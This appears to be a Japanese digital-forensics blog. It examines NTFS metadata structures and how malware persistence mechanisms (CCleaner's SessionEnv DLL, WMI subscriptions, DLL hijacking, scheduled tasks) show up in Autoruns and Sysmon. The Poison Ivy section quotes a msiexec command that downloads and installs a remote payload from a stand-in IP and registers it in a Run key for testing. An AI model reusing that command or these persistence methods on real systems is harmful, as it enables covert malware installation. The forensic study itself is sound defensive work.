@port139 Blog

基本的にはデジタル・フォレンジックの技術について取り扱っていますが、記載内容には高確率で誤りが含まれる可能性があります。

SessionEnvとTSMSISrv.dll

CCleaner version 5.33.6162 に関して下記レポートが出ています。このレポートでは、Persistenceの仕組みとしてマルウェアがサービスを利用している事を説明しています。

Progress on CCleaner Investigation より引用
The second part of the payload is responsible for persistence. Here, a different mechanism is used on Windows 7+ than on Windows XP. On Windows 7+, the binary is dumped to a file called “C:\Windows\system32\lTSMSISrv.dll” and automatic loading of the library is ensured by autorunning the NT service “SessionEnv” (the RDP service). On XP, the binary is saved as "C:\Windows\system32\spool\prtprocs\w32x86\localspl.dll” and the code uses the “Spooler” service to load.

上記レポートではDLLのファイル名が「lTSMSISrv.dll」となっていますが、下記シマンテック社の資料では「TSMSISrv.dll」となっています。

www.symantec.com

Windows 7のデフォルト環境に、TSMSISrv.dll ファイルは存在していません。

f:id:hideakii:20170930190108p:plain

SessionEnv サービスは Windows 7 環境にデフォルトで存在する、「Remote Desktop Configuration」の事になります。

マルウェアはレジストリを変更し、このサービスが自動で開始されるように設定します。(デフォルトは手動です)

f:id:hideakii:20170930185758p:plain

f:id:hideakii:20170930194722p:plain

 試しに、SessionEnv サービスを開始し、Process Monitorで読み込まれるDLLファイルを確認してみます。Process Monitor の結果に TSMSISrv.dll が登場します。

f:id:hideakii:20170930190833p:plain

 私はTSMSISrv.dll を入手していないので、実際にどの様に読み込まれるかは未確認です。

仮に、SessionEnv サービスが自動的にTSMSISrv.dllを読み込む場合、Autorunsツールでは検出できないですね。自動起動の仕組みとしては、見つけるのが簡単ではない点で興味深いですね。

 

 64bit版は「EFACli64.dll」という記述がありますが、これはどの様にロードされるのでしょうかね?

 

 参考URL:

www.reverse.it

 

www.ghacks.net

 

tdaitoku.hatenablog.com

f:id:hideakii:20170930195723j:plain

$ObjId と $O

Penguin.jpg の ObjectID を、$ObjId 内で確認します。

f:id:hideakii:20170924072248p:plain

$ObjId は $Extend フォルダ配下にあります。

f:id:hideakii:20170924072828p:plain

MFTレコード番号 25 を$MFT内で参照します。0x90 $INDEX_ROOTを確認できます。

f:id:hideakii:20170924073249p:plain

0x00006500: 90 00 00 00 A8 00 00 00 00 02 18 00 00 00 02 00 ................
0x00006510: 88 00 00 00 20 00 00 00 24 00 4F 00 00 00 00 00 .... ...$.O.....
0x00006520: 00 00 00 00 13 00 00 00 00 10 00 00 01 00 00 00 ................
0x00006530: 10 00 00 00 78 00 00 00 78 00 00 00 00 00 00 00 ....x...x.......
0x00006540: 20 00 38 00 00 00 00 00 58 00 10 00 00 00 00 00 .8.....X.......
0x00006550: E9 7C 45 5E A0 A0 E7 11 A8 24 08 00 27 36 0E 0B .|E^.....$..'6..
0x00006560: 26 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 &...............
0x00006570: 00 00 00 00 00 00 00 00 E9 7C 45 5E A0 A0 E7 11 .........|E^....
0x00006580: A8 24 08 00 27 36 0E 0B 00 00 00 00 00 00 00 00 .$..'6..........
0x00006590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000065a0: 10 00 00 00 02 00 00 00 FF FF FF FF 82 79 47 11 .............yG.

 NTFS DOC の「14. NTFS Files: $ObjId (Any)」を参考にデータをパースします。

2.2. Standard Attribute Header
2.2.2. Resident, Named

90 00 00 00 Attribute Type
A8 00 00 00 Length (including this header)
00 Non-resident flag
02 Name length
18 00 Offset to the Name
00 00 Flags
02 00 Attribute Id (a)
88 00 00 00 Length of the Attribute
20 00 Offset to the Attribute (b)
00 Indexed flag
00 Padding
24 00 4F 00 $.O. ⇒Name

 10.2.1. Index Root

00 00 00 00 Attribute Type
13 00 00 00 Collation Rule
00 10 00 00 Size of Index Allocation Entry (bytes)
01 Clusters per Index Record
00 00 00 Padding (Align to 8 bytes)

 10.2.2. Index Header

10 00 00 00 Offset to first Index Entry 0x10⇒16
78 00 00 00 Total size of the Index Entries 0x78 ⇒ 120
78 00 00 00 Allocated size of the Index Entries 0x78 ⇒ 120
00 Flags ⇒ Small Index (fits in Index Root)
00 00 00 Padding (align to 8 bytes)

14.3.1. $O Index

20 00 Offset to data
38 00 Size of data 0x38⇒56
00 00 00 00 Padding
58 00 Size of Index Entry
10 00 Size of Index Key
00 00 Flags
00 00 Padding
E9 7C 45 5E A0 A0 E7 11 A8 24 08 00 27 36 0E 0B Key: GUID Object Id
26 00 00 00 00 00 01 00 DATA: MFT Reference
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DATA: GUID Birth Volume Id
E9 7C 45 5E A0 A0 E7 11 A8 24 08 00 27 36 0E 0B DATA: GUID Birth Object Id
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DATA: GUID Domain Id

00 00 Offset to data
00 00 Size of data
00 00 00 00 Padding
10 00 Size of Index Entry
00 00 Size of Index Key
02 00 Flags ⇒ Last Entry
00 00 Padding

FF FF FF FF $END

 

 

 

f:id:hideakii:20170924080059j:plain

 

 

 

NTFS $OBJECT_ID と Removable

NTFS $OBJECT_ID (0x40) に関する基本情報は、Kazamiya さんが書かれている「ObjectID アーティファクト」を参考にしてください。

Windows 10環境上で、USBメモリ内のファイルを参照した場合に、ObjectIDが作成されるか確認します。

Windows 10 へ USB メモリを接続、Disk 1 で Removableとして認識されています。

f:id:hideakii:20170923072938p:plain

画像ファイルをD:ドライブへコピーします。

f:id:hideakii:20170923073230p:plain

fsutilコマンドを利用し、ObjectIDを確認します。ファイルにObjectIDは付与されていません。

f:id:hideakii:20170923073433p:plain

エクスプローラから画像ファイルをダブルクリックし参照します。

f:id:hideakii:20170923073701p:plain

 再度 fsutil コマンドを使い ObjectID を確認すると、ObjectID が付与された事を確認できます。

f:id:hideakii:20170923073836p:plain

Autopsy でFile Metadataを確認します。

f:id:hideakii:20170923075701p:plain

エクスプローラから画像ファイルを参照したので、RecentフォルダにLNKファイルが作成されています。

LECmd を使い、C:ドライブに作成された Penguin.jpg.lnk ファイルをパースします。 

LECmd version 0.9.7.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

Command line: -f c:\temp\LNK\Penguin.jpg.lnk

Processing 'c:\temp\LNK\Penguin.jpg.lnk'

Source file: c:\temp\LNK\Penguin.jpg.lnk
Source created: 2017-09-21 09:43:15
Source modified: 2017-09-22 22:35:39
Source accessed: 2017-09-22 22:35:39

--- Header ---
Target created: 2017-09-22 22:31:33
Target modified: 2017-09-17 22:38:46
Target accessed: 2017-09-22 22:31:33

File size: 6,856,704
Flags: HasTargetIdList, HasLinkInfo, HasWorkingDir, IsUnicode, DisableKnownFolderTracking
File attributes: FileAttributeArchive
Icon index: 0
Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)

Working Directory: D:\

--- Link information ---
Flags: VolumeIdAndLocalBasePath

>>Volume information
Drive type: Removable storage media (Floppy, USB)
Serial number: 34AF8C2D
Label: USB
Local path: D:\Penguin.jpg

--- Target ID information (Format: Type ==> Value) ---

Absolute path: D:\\Penguin.jpg

-Users property view?: Drive letter ==> D:\

-File ==> Penguin.jpg
Short name: Penguin.jpg
Modified: 2017-09-17 22:38:48
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: Penguin.jpg
Created: 2017-09-22 22:31:34
Last access: 2017-09-22 22:31:34
MFT entry/sequence #: 38/1 (0x26/0x1)

--- End Target ID information ---

--- Extra blocks information ---

>> Tracker database block
Machine ID: msedgewin10
MAC Address: 08:00:27:36:0e:0b
MAC Vendor: CADMUS COMPUTER SYSTEMS
Creation: 2017-09-23 14:21:54

Volume Droid: 00000000-0000-0000-0000-000000000000
Volume Droid Birth: 00000000-0000-0000-0000-000000000000
File Droid: 8ca7c142-a06a-11e7-a81d-080027360e0b
File Droid birth: 8ca7c142-a06a-11e7-a81d-080027360e0b

>> Property store data block (Format: GUID\ID Description ==> Value)
446d16b1-8dad-4870-a748-402ea43d788c\104 (Description not available) ==> Unmapped GUID: ba3f9a8b-9f35-11e7-a818-806e6f6e6963


---------- Processed 'c:\temp\LNK\Penguin.jpg.lnk' in 0.03150620 seconds ----------

ファイルを移動

画像ファイルを、D: から C: へ移動した後、fsutilコマンドを利用し、ObjectIDを確認します。移動された画像ファイルはObjectIDを維持していません。

f:id:hideakii:20170923080345p:plain

ファイルの移動後、Penguin.jpg.lnkからファイルを参照しても画像は表示されませんが、LNKファイルの内容は更新されます。

Shell Links
https://msdn.microsoft.com/ja-jp/library/windows/desktop/bb776891(v=vs.85).aspx のLink Resolution項目より引用

When a Shell link is created, the system saves information about the link. When resolving a link—either automatically or with an IShellLink::Resolve call—the system first retrieves the path associated with the Shell link by using a pointer to the Shell link's identifier list. For more information about the identifier list, see Item Identifiers and Identifier Lists. The system searches for the associated object in that path and, if it finds the object, resolves the link. If the system cannot find the object, it calls on the Distributed Link Tracking and Object Identifiers (DLT) service, if available, to locate the object. If the DLT service is not available or cannot find the object, the system looks in the same directory for an object with the same file creation time and attributes but with a different name. This type of search resolves a link to an object that has been renamed.

更新されたLNKファイルをLECmdで確認してみます。

LECmd version 0.9.7.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

Command line: -f c:\temp\LNK2\Penguin.jpg.lnk

Processing 'c:\temp\LNK2\Penguin.jpg.lnk'

Source file: c:\temp\LNK2\Penguin.jpg.lnk
Source created: 2017-09-21 09:43:15
Source modified: 2017-09-22 23:04:33
Source accessed: 2017-09-22 23:04:33

--- Header ---
Target created:
Target modified:
Target accessed:

File size: 0
Flags: HasTargetIdList, HasLinkInfo, HasWorkingDir, IsUnicode, DisableKnownFolderTracking
File attributes: 0
Icon index: 0
Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)

Working Directory: D:\

--- Link information ---
Flags: VolumeIdAndLocalBasePath

>>Volume information
Drive type: Removable storage media (Floppy, USB)
Serial number: 34AF8C2D
Label: USB
Local path: D:\Penguin.jpg

--- Target ID information (Format: Type ==> Value) ---

Absolute path: D:\\Penguin.jpg

-Users property view?: Drive letter ==> D:\

-File ==> Penguin.jpg
Short name: Penguin.jpg
Modified:
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: Penguin.jpg
Created:
Last access:

--- End Target ID information ---

---------- Processed 'c:\temp\LNK2\Penguin.jpg.lnk' in 0.01762540 seconds ----------

 C:ドライブのファイルを、USBメモリにコピーした場合もObjectIDは失われます。

f:id:hideakii:20170923094615p:plain

 

ObjectID タイムスタンプ

  System Boot Time: 9/23/2017, 12:05:44 AM (UTC)

prairie dog.jpgをエクスプローラから参照し、ObjectIDを作成します。

f:id:hideakii:20170923091407p:plain

LECmdでタイムスタンプを確認します。

>> Tracker database block
Machine ID: msedgewin10
MAC Address: 08:00:27:36:0e:0b
MAC Vendor: CADMUS COMPUTER SYSTEMS
Creation: 2017-09-23 00:05:44

Volume Droid: 00000000-0000-0000-0000-000000000000
Volume Droid Birth: 00000000-0000-0000-0000-000000000000
File Droid: f1c1b166-9ff2-11e7-a81f-080027360e0b
File Droid birth: f1c1b166-9ff2-11e7-a81f-080027360e0b

 秒以下の桁を確認していませんが、以降ObjectIDが作成されるとカウントが上がっていくはずです。

なお、--mp オプションを利用すれば秒以下も確認できます。 

>> Tracker database block
Machine ID: msedgewin10
MAC Address: 08:00:27:36:0e:0b
MAC Vendor: CADMUS COMPUTER SYSTEMS
Creation: 2017-09-23 00:05:44.4994406

Volume Droid: 00000000-0000-0000-0000-000000000000
Volume Droid Birth: 00000000-0000-0000-0000-000000000000
File Droid: f1c1b166-9ff2-11e7-a81f-080027360e0b
File Droid birth: f1c1b166-9ff2-11e7-a81f-080027360e0b

 タイムスタンプを手動で計算したい場合は、The Meaning of Linkfiles In Forensic Examinations のページ14が参考になります。

RecentとLNK

 FileTypesMan を利用すれば、Recent フォルダに LNK を作成しないように設定できます。

RecentフォルダにLNKファイルを作成しないように設定した場合でも、ファイルが参照されればObjectIDが作成されます。

f:id:hideakii:20170923092827p:plain

EXEファイルは設定に関わらず、デフォルトで参照(実行)しても ObjectID は付与されないようです。

f:id:hideakii:20170923123251p:plain

MTFレコード更新日時 (MFT Modified)

ObjectIDが無い時点でのタイムスタンプ情報

Name: Penguin.jpg

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 264 ()
Created: 2017-09-23 11:48:40.038303700 (UTC)
File Modified: 2017-09-17 22:38:46.051882200 (UTC)
MFT Modified: 2017-09-22 22:30:36.512728100 (UTC)
Accessed: 2017-09-23 11:48:40.038303700 (UTC)

ObjectIDを設定

f:id:hideakii:20170923210023p:plain

ObjectID設定後のタイムスタンプ

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 264 ()
Created: 2017-09-23 11:48:40.038303700 (UTC)
File Modified: 2017-09-17 22:38:46.051882200 (UTC)
MFT Modified: 2017-09-23 11:53:49.039747800 (UTC)
Accessed: 2017-09-23 11:48:40.038303700 (UTC)

 

参考URL:

http://computerforensics.parsonage.co.uk/downloads/TheMeaningofLIFE.pdf

 

f:id:hideakii:20170923093522j:plain

$INDEX_ROOT と $I30

 $I30のバイナリ構造を確認します。

f:id:hideakii:20170918074121p:plain

Autopsyで Pirctures フォルダの File Metadata を確認します。「$INDEX_ROOT (144-1)   Name: $I30」が Resident として存在している事を確認できます。

From The Sleuth Kit istat Tool:

MFT Entry Header Values: Entry: 39        Sequence: 1

$LogFile Sequence Number: 1078084

Allocated Directory Links: 1

$STANDARD_INFORMATION Attribute Values: Flags:

Owner ID: 0Security ID: 264  (S-1-5-21-1901480256-120802936-2790681297-1000)

Created: 2017-09-17 22:39:03.019912200 (UTC)

File Modified: 2017-09-17 22:39:39.366135400 (UTC)

MFT Modified: 2017-09-17 22:39:39.366135400 (UTC)

Accessed: 2017-09-17 22:39:39.366135400 (UTC)

$FILE_NAME Attribute Values: Flags:Directory

Name: picturesParent MFT Entry: 5

Sequence: 5

Allocated Size: 0

Actual Size: 0

Created: 2017-09-17 22:39:03.019912200 (UTC)

File Modified: 2017-09-17 22:39:03.019912200 (UTC)

MFT Modified: 2017-09-17 22:39:03.019912200 (UTC)

Accessed: 2017-09-17 22:39:03.019912200 (UTC)
Attributes:

Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72

Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 82Type: $INDEX_ROOT (144-1)   Name: $I30   Resident   size: 160

Autopsy の HEX タブで$INDEX_ROOTの$I30データ内容を確認します。

f:id:hideakii:20170918074348p:plain

0x00000000: 30 00 00 00 01 00 00 00 00 10 00 00 01 00 00 00 0...............
0x00000010: 10 00 00 00 90 00 00 00 90 00 00 00 00 00 00 00 ................
0x00000020: 28 00 00 00 00 00 01 00 70 00 60 00 00 00 00 00 (.......p.`.....
0x00000030: 27 00 00 00 00 00 01 00 AA 65 C5 D8 05 30 D3 01 '........e...0..
0x00000040: E1 EE 02 B9 05 30 D3 01 E1 EE 02 B9 05 30 D3 01 .....0.......0..
0x00000050: AA 65 C5 D8 05 30 D3 01 00 90 46 00 00 00 00 00 .e...0....F.....
0x00000060: 00 90 46 00 00 00 00 00 20 00 00 00 00 00 00 00 ..F..... .......
0x00000070: 0F 00 70 00 72 00 61 00 69 00 72 00 69 00 65 00 ..p.r.a.i.r.i.e.
0x00000080: 20 00 64 00 6F 00 67 00 2E 00 6A 00 70 00 67 00 .d.o.g...j.p.g.
0x00000090: 00 00 00 00 00 00 00 00 10 00 00 00 02 00 00 00 ................

 NTFS Documentation のページ25「10. Attribute - $INDEX_ROOT (0x90)」を参考にパースしてみます。

10.2.1. Index Root

30 00 00 00 01 00 00 00 00 10 00 00 01 00 00 00

30 00 00 00 Attribute Type

01 00 00 00 Collation Rule ⇒ Filename

00 10 00 00 Size of Index Allocation Entry (bytes)  0x1000 ⇒4,096

01 Clusters per Index Record

00 00 00 Padding

10.2.2. Index Header

 10 00 00 00 90 00 00 00 90 00 00 00 00 00 00 00

10 00 00 00 Offset to first Index Entry 0x10⇒16

90 00 00 00 Total size of the Index Entries 0x90⇒144

90 00 00 00 Allocated size of the Index Entries 0x90⇒144

00 Flags⇒Small Index (fits in Index Root)

00 00 00 Padding 

f:id:hideakii:20170918081744p:plain

11.2.1. Index Entry

28 00 00 00 00 00 01 00 70 00 60 00 00 00 00 00

28 00 00 00 00 00 01 00 File reference 0x28 ⇒ 40 Seq 1 prairie dog.jpg

70 00 L = Length of the index entry 0x70 ⇒ 112

60 00 M = Length of the stream 0x60 ⇒ 96

00 Flags 

00 00 00

f:id:hideakii:20170918082815p:plain

f:id:hideakii:20170918082901p:plain

4. Attribute - $FILE_NAME (0x30)

27 00 00 00 00 00 01 00 AA 65 C5 D8 05 30 D3 01
E1 EE 02 B9 05 30 D3 01 E1 EE 02 B9 05 30 D3 01
AA 65 C5 D8 05 30 D3 01 00 90 46 00 00 00 00 00
00 90 46 00 00 00 00 00 20 00 00 00 00 00 00 00
0F 00 70 00 72 00 61 00 69 00 72 00 69 00 65 00
20 00 64 00 6F 00 67 00 2E 00 6A 00 70 00 67 00

27 00 00 00 00 00 01 00 File reference to the parent directory. ⇒ 39 Seq 1

AA 65 C5 D8 05 30 D3 01 C Time - File Creation

E1 EE 02 B9 05 30 D3 01 A Time - File Altered (Modification)

E1 EE 02 B9 05 30 D3 01 M Time - MFT Changed

AA 65 C5 D8 05 30 D3 01 R Time - File Read (Access)

00 90 46 00 00 00 00 00 Allocated size of the file 0x469000⇒4,624,384

00 90 46 00 00 00 00 00 Real size of the file 0x469000⇒4,624,384

20 00 00 00 Flags, e.g. Directory, compressed, hidden

00 00 00 00 Used by EAs and Reparse

0F Filename length in characters (L)

00 Filename namespace 0x42 2L File name in Unicode (not null terminated)

70 00 72 00 61 00 69 00 72 00 69 00 65 00 p.r.a.i.r.i.e.

20 00 64 00 6F 00 67 00 2E 00 6A 00 70 00 67 00 .d.o.g...j.p.g.

11.2.1. Index Entry

00 00 00 00 00 00 00 00 10 00 00 00 02 00 00 00

00 00 00 00 00 00 00 00 File reference

10 00 L = Length of the index entry 0x10 ⇒ 16

00 00 M = Length of the stream 0x00 ⇒ 00

02 Flags ⇒ Last index entry in the node

00 00 00

 

f:id:hideakii:20170918141136j:plain

 

WMIとsysmon v6.10

Sysmon v6.10 が 9/11 にリリースされ、WMI Filterとconsumersがモニタリング出来るようになったようです。 3つのイベントIDが追加されています、登録を検出するようですね。

Sysmon - Windows Sysinternals | Microsoft Docs より引用

Event ID 19: WmiEvent (WmiEventFilter activity detected)
When a WMI event filter is registered, which is a method used by malware to execute, this event logs the WMI namespace, filter name and filter expression.
Event ID 20: WmiEvent (WmiEventConsumer activity detected)
This event logs the registration of WMI consumers, recording the consumer name, log, and destination.
Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected)
When a consumer binds to a filter, this event logs the consumer name and filter path.

 Windows 10環境にsysmon 6.10をインストールし、WMI モニタリングを確認してみます。Sysmon にはテスト用として下記設定を行います。

<Sysmon schemaversion="3.40">
<!-- Capture all hashes -->
<HashAlgorithms>md5</HashAlgorithms>
<EventFiltering>
<WmiEvent onmatch="exclude" />
</EventFiltering>
</Sysmon>

f:id:hideakii:20170917081147p:plain

WMIの登録には、下記ページで紹介されているWMIGhost のスクリプト wmi_raw_formated.js を利用します。

secrary.com

スクリプトファイル wmi_raw_formated.js を実行後、Autorus ツールで WMI に自動起動が登録されている事を確認します。

f:id:hideakii:20170917081608p:plain

イベントログにWmiEventConsumerの登録が記録されています。

f:id:hideakii:20170917081916p:plain

 

f:id:hideakii:20170917090843p:plain

その他

EventID 19

f:id:hideakii:20170917085138p:plain

 Get-WMIObject -Namespace root\Subscription -Class __EventFilter

f:id:hideakii:20170917111746p:plain

Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

f:id:hideakii:20170917111908p:plain

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

f:id:hideakii:20170917112129p:plain

 PyWMIPersistenceFinder.py

f:id:hideakii:20170917185742p:plain

CCM_RUA_Finder.py

f:id:hideakii:20170917185938p:plain

参考URL: 

Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. · GitHub

 

learn-powershell.net

  

www.exploit-monday.com

 

www.bleepingcomputer.com

 

www.hybrid-analysis.com

 

blog.zemana.com

WMI Event Subscription Persistence

https://www.rapid7.com/db/modules/exploit/windows/local/wmi_persistence

 

github.com

 

f:id:hideakii:20170917085708j:plain

NTFS $I30 と Deleted record

NTFS $I30 内に、削除レコードを作成してみます。

サンプル用にフォルダPicturesを作成します。

f:id:hideakii:20170916084249p:plain

次に、削除レコードとして残したいファイルをPicutresフォルダへコピーします。
ファイル名は、名前でソートした場合、最後に表示される名前にしておきます。

f:id:hideakii:20170916083420p:plain

今回は、$I30の削除レコードとしてShoebill.jpgを作成します。

f:id:hideakii:20170916083804p:plain

Shoebill.jpg を Pictures フォルダへコピーします。

f:id:hideakii:20170916084348p:plain

他のファイルをPicutresフォルダへコピーします。

f:id:hideakii:20170916084453p:plain

fte ツールを利用し、$I30の内容を確認します。

Shoebill.jpgのMFTレコード番号は36です。

f:id:hideakii:20170916084649p:plain

AutopsyでPicturesフォルダのメタ情報を確認します。INDEX_ALLOCATION $I30はクラスタ番号35に存在しています。

f:id:hideakii:20170916085425p:plain

 クラスタ番号35を参照します。Shoebill.jpgの$FNデータが最後に存在しています。

f:id:hideakii:20170916090455p:plain

 Shoebill.jpgファイルを削除します。

f:id:hideakii:20170916090745p:plain

AutopsyでPicturesフォルダを確認します。MFTレコード番号36の情報から、JPEG画像を表示できます。

f:id:hideakii:20170916091038p:plain

 新規にファイルを作成し、MFTレコード36を上書きします。

f:id:hideakii:20170916091327p:plain

AutopsyでPicturesフォルダを確認します。$I30のエントリだけが表示されています。

f:id:hideakii:20170916091444p:plain

 fteツールで$I30を確認します。

f:id:hideakii:20170916092107p:plain

 

f:id:hideakii:20170916092319p:plain

Autopsyでクラスタ番号35を参照します。Shoebill.jpgの$FNデータが存在しています。

f:id:hideakii:20170916130026p:plain

Flag項目は 0x02 『Last index entry in the node』となっています。

0x00023880: 00 00 00 00 00 00 00 00 10 00 00 00 02 00 00 00 ................

先頭8バイトの「File reference」は上書きされています。この為、MFTレコード番号は確認できな状況です。

 

意図的に$I30にファイル名痕跡だけを残したい場合には、上記手順で作成できます。

 

f:id:hideakii:20170916092613j:plain

 

C2とWeb Storage

 「New Pacifier APT Components Point to Russian-Linked Turla Group」のレポート内には、Webブラウザのキャッシュを利用するマルウェアの話題が記載されています。 

https://media.scmagazine.com/documents/314/bitdefender-whitepaper-pacifie_78483.pdf

2. Using Browser Cache to Evade Securityより引用

The website the Trojan connects to is perfectly legitimate, but it also contains a JavaScript (placed by the attacker) that uses a legitimate
method of writing in the browser’s local cache. Consequently, the JavaScript will write instructions from the C&C into the local browser
cache of Internet Explorer. Since the script is not malicious per se, this is the novelty of the Trojan that reveals a radically new attack avenue.
On the victim’s side, the backdoor simply checks if something new has been written in the browser’s cache, looking for instructions. The
Trojan doesn’t constantly scan the cache for new instructions, it only does so at various time intervals to avoid triggering security warnings.

マルウェアがC2と通信する手口として、Web Storageを利用する手口が解説されています。
マルウェアはブラウザのスタートアップの設定を変更し、ブラウザが起動するとスタートアップに登録されているサイトへアクセスします。

マルウェアは直接C2と通信するのではなく、Web ブラウザがC2と通信し、Web storageにコマンドが格納されます。
マルウェアはWebブラウザが保存したWeb storageの内容を読み込むことでコマンドを実行するという流れのようです。

Web Storage データの保存場所

Web Storage の仕組みについては、下記URLが参考になります 

https://www.w3.org/TR/2011/WD-webstorage-20110208/ 

W3C - 『Web Storage』日本語訳 - HTML5.JP

Windows 7 上 の IE 11 でテストしてみます。Web Storage のデータは下記フォルダ配下にXML形式のファイルとして保存されます。 

%userprofile%\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore
%userprofile%\AppData\Local\Microsoft\Internet Explorer\DOMStore

レジストリにもパスが登録されているようです。

f:id:hideakii:20170910191509p:plain

テストデータの作成

 Web Storage をテスト出来るサイトは色々とありますが、今回は下記サイトを使わせていただきます。 

demo.agektmr.com

 localStorageに確認用のデータを書き込みます。

f:id:hideakii:20170910124144p:plain

f:id:hideakii:20170910124236p:plain

f:id:hideakii:20170910124328p:plain

 エクスプローラで XML ファイルを参照。

f:id:hideakii:20170910130237p:plain

  ESEDatabaseView を利用すれば、DOMStore の URL と Filename を確認できます。

f:id:hideakii:20170910191755p:plain

f:id:hideakii:20170910131348p:plain

マイクロソフトが公開しているサンプルアプリケーション。電卓に入力した値が Web Storage 内に保存されています。 

Offline Calculator

f:id:hideakii:20170910170627p:plain

f:id:hideakii:20170910170639p:plain

 マルウェアが Web Storage を利用している場合、どの様に調査すればそれを発見する事が出来るでしょうか?

 参考URL:

モダンブラウザのストレージ容量まとめ
https://www.html5rocks.com/ja/tutorials/offline/quota-research/

  qiita.com

 

f:id:hideakii:20170910130855j:plain

 

Rehashed RATとDLL Hijacking

Fortinet から DLL ハイジャックを利用する Rehashed RAT に関するレポートが出ています。 

blog.fortinet.com

自動起動として Run キーを利用します。Runキーに登録されるファイルには、幾つかパターンがあるようです。
Run キー内に Systemm.exe(50fcc5c822a6b4fc6f377ee9f9f37c7b) を登録し Autoruns で確認。

f:id:hideakii:20170909214438p:plain

Google のコード署名がある正規のファイル。Image Path は一般的でない為、不審なファイルとして確認できる。

マルウェアは、EXE から読み込まれる Goopdate.dll となっており、Autoruns 上からは確認できない。
Systemm.exe が実行されると、同一フォルダ内に存在する Goopdate.dll ファイルがロードされる仕組みになっている。

f:id:hideakii:20170909223845p:plain

Goopdate.dll を DLL Export Viewer で確認した結果。

f:id:hideakii:20170909225042p:plain

 

www.reverse.it

www.reverse.it

 

f:id:hideakii:20170909210415j:plain

KHRAT Malware と Fa??

8/31 に paloalto Unit 42 から下記レポートが出ています。

researchcenter.paloaltonetworks.com

自動起動の手口として、タスクスケジューラが利用されています。

オリジナルではタスクの登録名前が、「"f*** you" 」とかなり目立つ名前になっています。

タスクの登録名としてこの文字列が存在すれば、すぐに気が付きますよね?

ここでは「fa」としておきます。

 コマンドプロンプトから検証用にタスクを登録します。

f:id:hideakii:20170909151306p:plain

 Autorunsで確認します。

f:id:hideakii:20170909151438p:plain

 File not found:となりますが、Javascript の文字列も確認できる為、不審なエントリである事には気が付けるのではないでしょうか。

 

www.hybrid-analysis.com

f:id:hideakii:20170909150937j:plain

 

Poison Ivy と MSIEXEC

8/23 に Fortinet から Poison Ivy に関する下記レポートが出ています。 

blog.fortinet.com

自動起動の仕組みとしては、スタートアップに VBS ファイルを登録する方式になっています。登録された VBS ファイルはピンクハイライトになる為、Autoruns であれば簡単に見分ける事ができます。

f:id:hideakii:20170909081023p:plain

 VBS ファイルの内容は、上記記事の「Figure 4. Thumb.vbs in the Startup folder and its content」スクリーンショットで内容を確認できます。興味深い点としては、下記のように msiexec のパラメータとして URL が記述されている点です。(IPアドレス部分は変更しています)

"cmd.exe /c msiexec /q /i http://192.168.0.1/images/Thumbs.bmp"

例えば、このコマンドが Run キーに登録されている場合にはどうなるのでしょうか?

Run キーに検証する値を登録します。

f:id:hideakii:20170909081712p:plain

Autorunsで確認してみます。

f:id:hideakii:20170909081848p:plain

項目を選択し、引数を確認すれば URL が指定されている事を確認できます。

更に実験として Example2 を Run キーに登録してみます。(この様な登録方法が実際に動作するかは確認していません)

f:id:hideakii:20170909082740p:plain

Autorunsで確認してみます。

f:id:hideakii:20170909082919p:plain

結果としては黄色ハイライトになるようですね。

 

 

www.reverse.it

  

f:id:hideakii:20170909123928j:plain